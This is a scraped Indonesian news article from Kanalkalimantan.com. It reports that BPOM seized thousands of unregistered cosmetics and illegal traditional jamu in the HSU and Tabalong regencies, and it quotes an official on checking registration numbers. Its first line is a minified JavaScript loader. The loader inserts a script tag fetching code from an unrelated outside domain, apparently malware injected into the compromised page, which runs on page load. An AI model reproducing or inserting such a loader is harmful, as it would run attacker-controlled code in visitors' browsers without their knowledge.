(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

BPOM Sita Ribuan Kosmetik dan Jamu Tradisional Ilegal


AMUNTAI, Ribuan kosmetik ilegal dan jamu obat tradisional tak miliki izin edar disita BPOM hasil operasi yang digelar di Kabupaten HSU dan Kabupaten Tabalong. Badan Pengawas dan Obat (BPOM) mengimbau agar masyarakat lebih selektif terhadap pembelian produk kosmetik dan obat obatan tradisional.

Hasil razia yang digelar di Kabupaten Tabalong berhasil menyita sebanyak 22 jenis kosmetik mencakup 1.235 buah dengan nilai Rp 115.897.000. Ada berbentuk krim, padat, cair, kaplet dan juga tube yang diduga tidak terdaftar dan mengandung zat berhaya bagi kesehatan seperti zat mercuri.

Sementara itu, penyitaan produk obat tradisional jenis jamu tradisional ilegal yang tidak memiliki izin edar di Kabupaten HSU berjumlah 26 jenis merek terdiri dari 86.177 sachet senilai Rp 275.794.000. Jamu taidak memiliki izin edar itu disita dari ST (50) warga Amuntai yang berjualan obat-obatan pasar ke pasar.

Kepala Kantor BPOM HSU, Bambang Hery Purwanto kepada Kanalkalimantan.com, Sabtu (20/7) mengingatkan kepada masyarakat agar apabila menemukan informasi tentang penjualan jamu ataupun kosmetik ilegal dapat melaporkannya ke kantor BPOM.

“Kami akan tindak lanjuti apabila ada laporan serupa, kami akan turunkan tim untuk melakukan penyelidikan, sehingga kita bisa tindak lanjut dengan razia,” jelas Hery



Dikatakanya, sekarang masyarakat dapat mengetahui bahwa produk yang dibelinya memiliki izin edar atau tidak, resmi atau tidak legal cukup mudah, hanya tinggal mencek informasi melalui aplikasi cek BPOM di aplikasi android, sehingga dapat lebih selektif dalam membeli produk.

“Apabila sudah membuka aplikasinya, kita tinggal memasukkan nomor registrasi produk tersebut, apakah palsu atau tidak, karena jenis jamu-jamu banyak yang menggunakan nomor izin edar yang palsu, sedangkan untuk produk jenis kosmetik cukup dicari nomor BPOM-NA (Notifikasi Asia), jadi semua kosmetik yang berizin itu pasti mencantumkan nomor BPOM-NA,” terang Hery

Produk ilegal itu dilarang karena mengandung Bahan Kimia Obat (BKO) yang memiliki resiko dan efek samping negatif bila dikonsumsi terus menerus yang mengakibatkan kerusakan ginjal.

Sementara terkait hasil operasi yang dilakukan PPNS Kantor BPOM HSU bersama PPNS Balai Besar POM Banjarmasin pada 17-18 Juli dilakukan penyitaan terhadap produk kosmetik dan obat tradisional illegal, dirinya membenarkan akan penyitaan tersebut.

Dari temuan kemarin maka terhadap kepemilikan produk ilegal tersebut dapat disangkakan sebagai tindak pidana  sebagaimana dalam perkara mengedarkan obat tradisional yang tidak memiliki izin edar.
“Sesuai dengan Undang-undang RI nomor 36 tahun 2009 pasal 197 tentang kesehatan, dengan ancaman pidana maksimal 15 tahun dan denda maksimal 1,5 milliar,” tegasnya. (dew)

<

div class=”reporter”>
Reporter : Dew
Editor : Bie


Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

10 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

11 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

11 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

11 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

11 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

12 jam ago

This website uses cookies.